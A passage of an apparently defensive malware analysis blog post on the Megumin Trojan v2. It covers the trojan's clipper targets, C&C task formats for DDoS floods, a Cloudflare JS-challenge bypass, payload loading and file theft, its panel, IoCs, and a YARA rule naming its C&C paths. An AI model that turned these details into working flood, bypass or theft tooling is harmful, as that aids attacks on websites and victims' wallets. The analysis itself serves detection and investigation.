src="https://fumik0.com/wp-content/uploads/2019/05/megumin-clipper-window.webp" alt="Screenshot: Megumin clipper window" width="570" height="833" loading="lazy" decoding="async" /&gt;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;&amp;nbsp;&#10;&#10;For some investigation, this is the complete list of wallets, softwares, and websites targeted by this malware.&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup span="4" width="85"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Bitcoin&lt;/td&gt;&#10;&lt;td align="left"&gt;BitcoinGold&lt;/td&gt;&#10;&lt;td align="left"&gt;BtcCash&lt;/td&gt;&#10;&lt;td align="left"&gt;Ethereum&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;BlackCoin&lt;/td&gt;&#10;&lt;td align="left"&gt;ByteCoin&lt;/td&gt;&#10;&lt;td align="left"&gt;EmerCoin&lt;/td&gt;&#10;&lt;td align="left"&gt;ReddCoin&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Peercoin&lt;/td&gt;&#10;&lt;td align="left"&gt;Ripple&lt;/td&gt;&#10;&lt;td align="left"&gt;Miota&lt;/td&gt;&#10;&lt;td align="left"&gt;Cardano&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Lisk&lt;/td&gt;&#10;&lt;td align="left"&gt;Stratis&lt;/td&gt;&#10;&lt;td align="left"&gt;Waves&lt;/td&gt;&#10;&lt;td align="left"&gt;Qtum&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Stellar&lt;/td&gt;&#10;&lt;td align="left"&gt;ViaCoin&lt;/td&gt;&#10;&lt;td align="left"&gt;Electroneum&lt;/td&gt;&#10;&lt;td align="left"&gt;Dash&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Doge&lt;/td&gt;&#10;&lt;td align="left"&gt;LiteCoin&lt;/td&gt;&#10;&lt;td align="left"&gt;Monero&lt;/td&gt;&#10;&lt;td align="left"&gt;Graft&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;ZCash&lt;/td&gt;&#10;&lt;td align="left"&gt;Ya.money&lt;/td&gt;&#10;&lt;td align="left"&gt;Ya.disc&lt;/td&gt;&#10;&lt;td align="left"&gt;Steam&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;vk.cc&lt;/td&gt;&#10;&lt;td align="left"&gt;QIWI&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;/td&gt;&#10;&lt;td align="left"&gt;&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h2&gt;Tasks&lt;/h2&gt;&#10;When the bot is sending a request to the C&amp;amp;C, there is a possibility to have nine different tasks to be performed and they are all presenting like this.&#10;&lt;pre&gt;&amp;lt;name&amp;gt;|&amp;lt;command&amp;gt;|...&lt;/pre&gt;&#10;There are currently 3 main fields for the tasks.&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;DDoS&lt;/li&gt;&#10;&#9;&lt;li&gt;Executing files&lt;/li&gt;&#10;&#9;&lt;li&gt;Miscellaneous&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Whenever a task is accomplished, the request "/completed?hwid=" is sent to the C&amp;amp;C. The reason for this is simple, tasks can be counted and when it reaches a specific amount, the task is simply deactivated.&#10;&#10;Let's reviewing them!&#10;&#10;&lt;img class=" size-full wp-image-679 alignnone" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-task-answers.webp" alt="Screenshot: Megumin task answers" width="531" height="832" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;DDoS&lt;/h3&gt;&#10;&lt;h4&gt;Socket HTTP&lt;/h4&gt;&#10;Task format&#10;&lt;pre&gt;socket|time|threads|link&lt;/pre&gt;&#10;When there is a necessity to create &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread"&gt;threads&lt;/a&gt; for performing the DDoS tasks, it only grabs the specific fields and using it a length for a thread loop creation as shown below, lpStartAddress will contain the reference of the specific DDoS function that the bot has to do.&#10;&#10;&lt;img class="alignnone size-full wp-image-685" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-ddos-socket-threads.webp" alt="Screenshot: Megumin ddos socket threads" width="663" height="400" loading="lazy" decoding="async" /&gt;&#10;&#10;When inspecting it the function, we can see the layer 7 DDoS Attack by flooding the server by HTTP GET requests with the help of sockets.&#10;&#10;&lt;img class="alignnone size-full wp-image-686" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-ddos-socket.webp" alt="Screenshot: Megumin ddos socket" width="680" height="395" loading="lazy" decoding="async" /&gt;&#10;&#10;When everything is configured, the &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/winsock2/nf-winsock2-send"&gt;send&lt;/a&gt; function is called for starting the DDoS.&#10;&lt;h4&gt;&lt;img class="alignnone size-full wp-image-687" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-ddos-socket-02.webp" alt="Screenshot: Megumin ddos socket 02" width="599" height="131" loading="lazy" decoding="async" /&gt;&lt;/h4&gt;&#10;&lt;h4&gt;HTTP&lt;/h4&gt;&#10;Task format&#10;&lt;pre&gt;http|time|threads|link&lt;/pre&gt;&#10;As explained above, the technique will remain always the same for the thread setup, only the function addressed is different. For the HTTP DDoS task, it's another Layer 7 DDoS Attack by flooding the server with HTTP requests by using the methods from the Wininet library :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/wininet/nf-wininet-internetopena"&gt;InternetOpenA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/wininet/nf-wininet-internetconnecta"&gt;InternetConnectA&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/wininet/nf-wininet-httpopenrequesta"&gt;HttpOpenRequestA&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;It's slower than the "socket" tasks, but it used for the case that the server is using 301 redirects.&#10;&lt;h4&gt;TCP&lt;/h4&gt;&#10;Task format&#10;&lt;pre&gt;tcp|time|threads|port|link&lt;/pre&gt;&#10;The TCP task is Layer 4 DDoS Attack, by performing spreading the server TCP sockets requests with a specified port.&#10;&#10;&lt;img class="alignnone size-full wp-image-688" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-ddos-tcp.webp" alt="Screenshot: Megumin ddos tcp" width="679" height="432" loading="lazy" decoding="async" /&gt;&#10;&lt;h4&gt;JS Bypass&lt;/h4&gt;&#10;Task format&#10;&lt;pre&gt;jsbypass|time|threads|link&lt;/pre&gt;&#10;When the website is using Cloudflare protection, the malware is also configured to use a known trick to bypass it by creating a clearance cookie for not being able to be challenged anymore.&#10;&#10;&lt;img class="alignnone size-full wp-image-680" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-js-01.webp" alt="Screenshot: Megumin js 01" width="633" height="237" loading="lazy" decoding="async" /&gt;&#10;&#10;The idea is when it's reaching for the first time the Website, a 503 error page will redirecting the attacker into a waiting page (catchable by the string "Just a moment" as shown above), At this moment Cloudflare is, in fact, sending the challenging request,  so a __cfduid cookie is generated and the content of the source code on this page is fetched by the help of a parser implemented in the malware. It needs 3 parameters at least, 2 of them are already available :&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="124"&gt;&lt;/colgroup&gt; &lt;colgroup width="344"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;jschl_vc&lt;/td&gt;&#10;&lt;td align="left"&gt;the challenge token&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;pass&lt;/td&gt;&#10;&lt;td align="left"&gt;???&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;The last field is the jschl_answer, as guessable this is the answer to the challenge asked by Cloudflare. To solve it, an interpreter was also implemented to parse the js code, catching the challenge-form value and a.value field for interpreting correctly the native code with the right setup.&#10;&#10;This process shown as below is the interpreter that will analyze block per block the challenge with the help of a loop, the data is shelled and each block will be converted into an integer value, the sum of all of them will give us the jschl_answer value.&#10;&#10;&lt;img class="alignnone size-full wp-image-684" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-js-05.webp" alt="Screenshot: Megumin js 05" width="1030" height="750" loading="lazy" decoding="async" /&gt;&#10;&#10;so at the end of the waiting page, this request is sent:&#10;&lt;pre&gt;/cdn-cgi/l/chk_jschl?jschl_vc=VALUE&amp;amp;pass=VALUE&amp;amp;jschl_answer=VALUE&lt;/pre&gt;&#10;&lt;div class="gallery"&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2019/04/megumin-js-02.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2019/04/megumin-js-02.webp" alt="JavaScript calling the Cloudflare challenge endpoint, part 1" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2019/04/megumin-js-03.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2019/04/megumin-js-03.webp" alt="JavaScript solving the Cloudflare challenge, part 2" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;a href="https://fumik0.com/wp-content/uploads/2019/04/megumin-js-04.webp"&gt;&lt;img src="https://fumik0.com/wp-content/uploads/2019/04/megumin-js-04.webp" alt="JavaScript solving the Cloudflare challenge, part 3" loading="lazy" decoding="async"&gt;&lt;/a&gt;&lt;/div&gt;&#10;&#10;chk_jschl leads to the cf_clearance cookie creation if the answer to the challenge is correct and this cookie is proof that you are authentic and trusted by Cloudflare, so by keeping it bypasses for the next requests sent, the website will no longer challenging the attacker temporarily.&#10;&lt;h4&gt;Miscellaneous curiosities&lt;/h4&gt;&#10;the default values for DDoS tasks are :&#10;&lt;table border="0" cellspacing="0"&gt;&lt;colgroup width="124"&gt;&lt;/colgroup&gt; &lt;colgroup width="344"&gt;&lt;/colgroup&gt;&#10;&lt;tbody&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Time&lt;/td&gt;&#10;&lt;td align="right"&gt;180 (in seconds)&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Threads&lt;/td&gt;&#10;&lt;td align="right"&gt;2500&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;tr&gt;&#10;&lt;td align="left" height="17"&gt;Port&lt;/td&gt;&#10;&lt;td align="right"&gt;42&lt;/td&gt;&#10;&lt;/tr&gt;&#10;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;h3&gt;Loader&lt;/h3&gt;&#10;&lt;h4&gt;Load&lt;/h4&gt;&#10;Task format&#10;&lt;pre&gt;load|link&lt;/pre&gt;&#10;Seeing a loader feature is something that a quite common thing by the current trendings, customers that bought malware wants to maximize their investments at all cost. This trojan is also configured to pushed some payloads. There is nothing much to say about this. The only important element, in this case, it's that the loaded payload is stored into the %PROGRAMDATA% folder with the name of {MACHINE_GUID}.exe.&#10;&lt;h4&gt;Load PE&lt;/h4&gt;&#10;Task format&#10;&lt;pre&gt;loadpe|link&lt;/pre&gt;&#10;Contrary to a simple loader feature, this one is typically a process hollowing alternative. It's only working with 32 bits payload and using this classy process injection trick into a legitimate process.&#10;&#10;&lt;img class="alignnone size-full wp-image-695" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-loadpe.webp" alt="Screenshot: Megumin loadpe" width="768" height="225" loading="lazy" decoding="async" /&gt;&#10;&#10;For some reasons, the User-Agent "Mozilla/5.0 (Windows NT 6.1) Megumin/2.0" is catchable when it's downloading the payload on this specific load PE task.&#10;&#10;More information about process injections techniques &lt;a href="https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"&gt;in Endgame's survey of ten process injection techniques&lt;/a&gt;&#10;&lt;h4&gt;Update&lt;/h4&gt;&#10;Task format&#10;&lt;pre&gt;update|build_link&lt;/pre&gt;&#10;When there is an update required with the malware, there is a possibility to push a new build to the bot by using this task.&#10;&lt;h3&gt;Miscellaneous tasks&lt;/h3&gt;&#10;&lt;h4&gt;cmd&lt;/h4&gt;&#10;Task format&#10;&lt;pre&gt;cmd|command&lt;/pre&gt;&#10;One of the miscellaneous tasks possible is the possibility to send some cmd commands on the bot. I don't have a clue about the necessity of this task, but if it's implemented, there is a reason for that.&#10;&#10;&lt;img class="alignnone size-full wp-image-697" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-cmd.webp" alt="Screenshot: Megumin cmd" width="624" height="172" loading="lazy" decoding="async" /&gt;&#10;&#10;Complete list available &lt;a href="https://ss64.com/nt/"&gt;on the SS64 Windows CMD reference&lt;/a&gt;&#10;&lt;h4&gt;upload&lt;/h4&gt;&#10;Task format&#10;&lt;pre&gt;upload|fullpath&lt;/pre&gt;&#10;If the attacker knows exactly what he's doing, he can steal some really specific files on the bot, by indicating the full path of the required one. The crafted request at the end will be on that form, for pushing it on the C&amp;amp;C.&#10;&lt;pre&gt;/gate?hwid=XXX&lt;/pre&gt;&#10;&lt;h2&gt;Miner&lt;/h2&gt;&#10;The miner is one of the main features of the trojan. Most of the time, When analysts are reversing a miner, this is really easy to spot things and the main ideas are to understand the setup part and how it's executing the miner software.&#10;&#10;At the end for future purposes, I am considering their check-up list as relevant when reversing one:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Is it targeting CPU, GPU or both?&lt;/li&gt;&#10;&#9;&lt;li&gt;If it's GPU, is Nvidia &amp;amp; AMD targeted?&lt;/li&gt;&#10;&#9;&lt;li&gt;Is it generating a JSON config?&lt;/li&gt;&#10;&#9;&lt;li&gt;What miner software is/are used&lt;/li&gt;&#10;&#9;&lt;li&gt;Are there any Blacklist Country or Specific countries spotted to mine?&lt;/li&gt;&#10;&#9;&lt;li&gt;What are the pools addresses?&lt;/li&gt;&#10;&lt;/ul&gt;&#10;On this malware, Both hardware type has been implemented, and for checking which miner software is required on the GPU part, it only checking the name of the GPU on the bot, if Nvidia or AMD is spotted on the text, request to the C&amp;amp;C will give the correct setup and miner software.&#10;&#10;&lt;img class="alignnone size-full wp-image-699" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-miner-cpu-config.webp" alt="Screenshot: Megumin miner cpu config" width="903" height="77" loading="lazy" decoding="async" /&gt;&#10;&#10;The base64 downloaded miner config contains two things:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;The link of the miner software&lt;/li&gt;&#10;&#9;&lt;li&gt;The one-line config that will be executed with the downloaded payload by the help of &lt;a href="https://docs.microsoft.com/en-us/windows/desktop/api/shellapi/nf-shellapi-shellexecutea"&gt;ShellExecuteA&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;For some reasons, the User-Agent "Mozilla/5.0 (Windows NT 6.1) Megumin/2.0" is only catchable when it's downloading the miner software for the CPU part, not for the GPU.&#10;&lt;h2&gt;Server-side&lt;/h2&gt;&#10;&lt;h3&gt;Login Page&lt;/h3&gt;&#10;The login page is quite fancy, simplest. Even if I could be wrong of with this statement, it's using the same core template as Supreme++ (Rarog Fork) with some tweaks.&#10;&#10;Something interesting to notice with this C&amp;amp;C, that there is no password but a 2FA Google authenticator on the authentication part.&#10;&#10;&lt;img class="alignnone size-full wp-image-692" src="https://fumik0.com/wp-content/uploads/2019/05/megumin.webp" alt="Megumin" width="1090" height="557" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Dashboard&lt;/h3&gt;&#10;There is not too much to say about the dashboard, its a classy stats page with these elements:&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Top Countries&lt;/li&gt;&#10;&#9;&lt;li&gt;New bots infected (weekly)&lt;/li&gt;&#10;&#9;&lt;li&gt;Bots Windows Chart&lt;/li&gt;&#10;&#9;&lt;li&gt;Number of bots online (weekly)&lt;/li&gt;&#10;&#9;&lt;li&gt;Bots CPU chart&lt;/li&gt;&#10;&#9;&lt;li&gt;Bots GPU chart&lt;/li&gt;&#10;&#9;&lt;li&gt;Platform chart&lt;/li&gt;&#10;&#9;&lt;li&gt;AV Stats&lt;/li&gt;&#10;&#9;&lt;li&gt;Current cryptocurrencies values&lt;/li&gt;&#10;&#9;&lt;li&gt;Top stolen wallet by the clipper&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-708" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-dashboard-01.webp" alt="Screenshot: Megumin dashboard 01" width="1152" height="788" loading="lazy" decoding="async" /&gt;&lt;img class="alignnone size-full wp-image-707" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-dashboard-02.webp" alt="Screenshot: Megumin dashboard 02" width="772" height="796" loading="lazy" decoding="async" /&gt;&lt;img class="alignnone size-full wp-image-706" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-dashboard-03.webp" alt="Screenshot: Megumin dashboard 03" width="1141" height="396" loading="lazy" decoding="async" /&gt;&lt;img class="alignnone size-full wp-image-705" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-dashboard-04.webp" alt="Screenshot: Megumin dashboard 04" width="1133" height="381" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Bots&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Bots - Current list of bots&lt;/li&gt;&#10;&#9;&lt;li&gt;Tasks - Task creation &amp;amp; current task list&lt;/li&gt;&#10;&#9;&lt;li&gt;Files - All files that have been uploaded to the C&amp;amp;C with the help of the task "upload"&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-703" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-panel-bots.webp" alt="Screenshot: Megumin panel bots" width="1143" height="754" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Task setup&lt;/h3&gt;&#10;Tasks that I've detailed above are representing like this on the C&amp;amp;C, as usual, it's designed to be user-friendly for customers, they just want to configure fast and easily their stuff to be able to steal &amp;amp; being profitable quickly as possible.&#10;&#10;&lt;img class="alignnone size-full wp-image-670" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-bots-tasks-step1.webp" alt="Screenshot: Megumin bots tasks step1" width="521" height="480" loading="lazy" decoding="async" /&gt;&#10;&#10;When selected, there is a usual configuration setup for the task, with classy fields like :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Task Name&lt;/li&gt;&#10;&#9;&lt;li&gt;Max Executions routine&lt;/li&gt;&#10;&#9;&lt;li&gt;If the Task must be designed for targeting only one bot&lt;/li&gt;&#10;&#9;&lt;li&gt;And an interesting advanced setting tab&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class="alignnone size-full wp-image-671" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-bots-tasks-step2.webp" alt="Screenshot: Megumin bots tasks step2" width="513" height="618" loading="lazy" decoding="async" /&gt;&#10;&#10;If we look at it, the advanced setting is where the C&amp;amp;C could targeting bots by :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Specific hardware requirements&lt;/li&gt;&#10;&#9;&lt;li&gt;Platform&lt;/li&gt;&#10;&#9;&lt;li&gt;Countries&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Countries can be easily catchable on the Victim machine by checking the Locale of the Keyboard (I have already explained this tick on &lt;a href="https://fumik0.com/2018/12/24/lets-dig-into-vidar-an-arkei-copycat-forked-stealer-in-depth-analysis/"&gt;Vidar&lt;/a&gt;) and the IP.&#10;&#10;&lt;img class="alignnone size-full wp-image-672" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-bots-tasks-step2-adv.webp" alt="Screenshot: Megumin bots tasks step2 adv" width="463" height="535" loading="lazy" decoding="async" /&gt;&#10;&#10;So it means that malware could be designed to target highly specific areas.&#10;&#10;When the task is completed, its represented like this.&#10;&#10;&lt;img class="alignnone size-full wp-image-710" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-task-cc.webp" alt="Screenshot: Megumin task cc" width="1116" height="440" loading="lazy" decoding="async" /&gt;&#10;&#10;&amp;nbsp;&#10;&lt;h3&gt;Clips&lt;/h3&gt;&#10;&lt;img class="alignnone size-full wp-image-704" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-panel-clips.webp" alt="Screenshot: Megumin panel clips" width="1143" height="592" loading="lazy" decoding="async" /&gt;&#10;&lt;h3&gt;Settings&lt;/h3&gt;&#10;&lt;h4&gt;Bots&lt;/h4&gt;&#10;&lt;img class="alignnone size-full wp-image-663" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-settings-bots.webp" alt="Screenshot: Megumin settings bots" width="1152" height="502" loading="lazy" decoding="async" /&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;"USB Spreading" remains to /isUSB API request&lt;/li&gt;&#10;&#9;&lt;li&gt;"Del exe after start" remains to /selfDel API request&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4&gt;Clipper&lt;/h4&gt;&#10;Clipper is quite simple, it's just the configuration of all wallet that will be clipped.&#10;&#10;&lt;img class="alignnone size-full wp-image-664" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-settings-clipper.webp" alt="Screenshot: Megumin settings clipper" width="1153" height="459" loading="lazy" decoding="async" /&gt;&#10;&lt;h4&gt;Miner&lt;/h4&gt;&#10;The miner tab is quite classy also, just a basic configuration of the config and where it will download the payload.&#10;&#10;&lt;img class="alignnone size-full wp-image-665" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-settings-miner.webp" alt="Screenshot: Megumin settings miner" width="1142" height="689" loading="lazy" decoding="async" /&gt;&#10;&#10;As usual, the process blacklist will remain the same as we saw in other miner malware. Some google search will be sufficient to know which processes are the most targeted.&#10;&lt;h4&gt;MessageBox&lt;/h4&gt;&#10;A fancy message box configuration part with multiple possibilities.&#10;&#10;&lt;img class="alignnone size-full wp-image-668" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-settings-msbox.webp" alt="Screenshot: Megumin settings msbox" width="1144" height="446" loading="lazy" decoding="async" /&gt;&#10;&lt;h4&gt;Countries&lt;/h4&gt;&#10;It's also possible to ban bots from specific countries, on the side bot side, the malware will check if the country is valid or not with the help of the IP and the Keyboard Language configuration.&#10;&#10;&lt;img class="alignnone size-full wp-image-666" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-settings-countries.webp" alt="Screenshot: Megumin settings countries" width="1143" height="240" loading="lazy" decoding="async" /&gt;&#10;&#10;On the code, it's easily traceable by these checks, for more explanation about how it works for the keyboard part, this is already detailed on the Vidar paper.&#10;&lt;h4&gt;Panel&lt;/h4&gt;&#10;For some reasons, there is also a possibility to change the username for the panel authentication, by doing this the 2FA Google Authenticator is required for confirming this.&#10;&#10;&lt;img class="alignnone size-full wp-image-667" src="https://fumik0.com/wp-content/uploads/2019/04/megumin-settings-panel.webp" alt="Screenshot: Megumin settings panel" width="1132" height="230" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;Script&lt;/h2&gt;&#10;For further investigation about this v2, I developed a small script called "ohana", like the Vidar one to extract the configuration of each sample and it's already available on &lt;a href="https://github.com/Fmk0/scripts/blob/master/ohana.py"&gt;my GitHub repository&lt;/a&gt;.&#10;&#10;&lt;img class="alignnone size-full wp-image-701" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-script.webp" alt="Screenshot: Megumin script" width="642" height="210" loading="lazy" decoding="async" /&gt;&#10;&lt;h2&gt;IoCs&lt;/h2&gt;&#10;Hashes&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;d15e1bc9096810fb4c954e5487d5a54f8c743cfd36ed0639a0b4cb044e04339f&lt;/li&gt;&#10;&#9;&lt;li&gt;e6c447c826ae810dec6059c797aa04474dd27f84e37e61b650158449b5229469&lt;/li&gt;&#10;&#9;&lt;li&gt;c70120ee9dd25640049fa2d08a76165948491e4cf236ec5ff204e927a0b14918&lt;/li&gt;&#10;&#9;&lt;li&gt;d431e6f0d3851bbc5a956c5ca98ae43c3a99109b5832b5ac458b8def984357b8&lt;/li&gt;&#10;&#9;&lt;li&gt;ed65610f2685f2b8c765ee2968c37dfce286ddcc31029ee6091c89505f341b97&lt;/li&gt;&#10;&#9;&lt;li&gt;89813ebf2da34d52c1b924b408d0b46d1188b38f035d22fab26b852ad6a6fc19&lt;/li&gt;&#10;&#9;&lt;li&gt;8777749af37a2fd290aad42eb87110d1ab7ccff4baa88bd130442f25578f3fe1&lt;/li&gt;&#10;&lt;/ul&gt;&#10;Domains&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;90551.prohoster.biz&lt;/li&gt;&#10;&#9;&lt;li&gt;baldorclip.icu&lt;/li&gt;&#10;&#9;&lt;li&gt;santaluisa.top&lt;/li&gt;&#10;&#9;&lt;li&gt;megumin.top&lt;/li&gt;&#10;&#9;&lt;li&gt;megumin.world&lt;/li&gt;&#10;&lt;/ul&gt;&#10;PDB&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;C:\Users\Ddani\source\repos\MeguminV2\Release\MeguminV2.pdb&lt;/li&gt;&#10;&#9;&lt;li&gt;C:\Users\Administrator\Desktop\MeguminV2\Release\MeguminV2.pdb&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4&gt;Threat Actors&lt;/h4&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;Danij (Main)&lt;/li&gt;&#10;&#9;&lt;li&gt;Moongod&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;MITRE ATT&amp;amp;CK&lt;/h2&gt;&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1059/"&gt;Execution - Command-Line Interface&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1053/"&gt;Execution - Schedule Task&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1053/"&gt;Persistence - Schedule Task&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1060/"&gt;Persistence - Registry Run Keys / Startup Folder&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1107/"&gt;Defense - File Deletion&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1158/"&gt;Defense - Hidden Files &amp;amp; Directories&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1093/"&gt;Defense - Process Hollowing&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1053/"&gt;Privilege Escalation - Schedule Task&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1081/"&gt;Credential Access - Credentials in File&lt;/a&gt;&lt;/li&gt;&#10;&#9;&lt;li&gt;&lt;a href="https://attack.mitre.org/techniques/T1115/"&gt;Collection - Clipboard Data&lt;/a&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h2&gt;Yara&lt;/h2&gt;&#10;&lt;pre&gt;rule Megumin : Megumin {&#10; meta:&#10; description = "Detecting Megumin v2"&#10; author = "Fumik0_"&#10; date = "2019-05-02"&#10;&#10; strings:&#10; $mz = {4D 5A}&#10;&#10; $s1 = "Megumin/2.0" wide ascii&#10; $s2 = "/cpu" wide ascii&#10; $s3 = "/task?hwid=" wide ascii&#10; $s4 = "/gate?hwid=" wide ascii&#10; $s5 = "/suicide" wide ascii&#10;&#10; condition:&#10; $mz at 0 and (all of ($s*))&#10;}&lt;/pre&gt;&#10;&lt;h2&gt;Conclusion&lt;/h2&gt;&#10;Megumin Trojan is not a complicated malware but about all the one that I have reversed, this is the most talkative one that I've analyzed and possesses a quite some amount of tasks. Let's see with the time how this one will evolve, but it's confirmed at that time, there is currently a lot of interesting stuff to do with this one :&#10;&lt;ul&gt;&#10;&#9;&lt;li&gt;in term of analysis&lt;/li&gt;&#10;&#9;&lt;li&gt;in term of cybercrime investigation&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;img class=" size-full wp-image-711 aligncenter" src="https://fumik0.com/wp-content/uploads/2019/05/megumin-umaru-screen.webp" alt="Screenshot: Umaru screen" width="500" height="407" loading="lazy" decoding="async" /&gt;&#10;&#10;#HappyHunting&#10;#WeebMalware&#10;&#10;Special Thanks: &lt;a 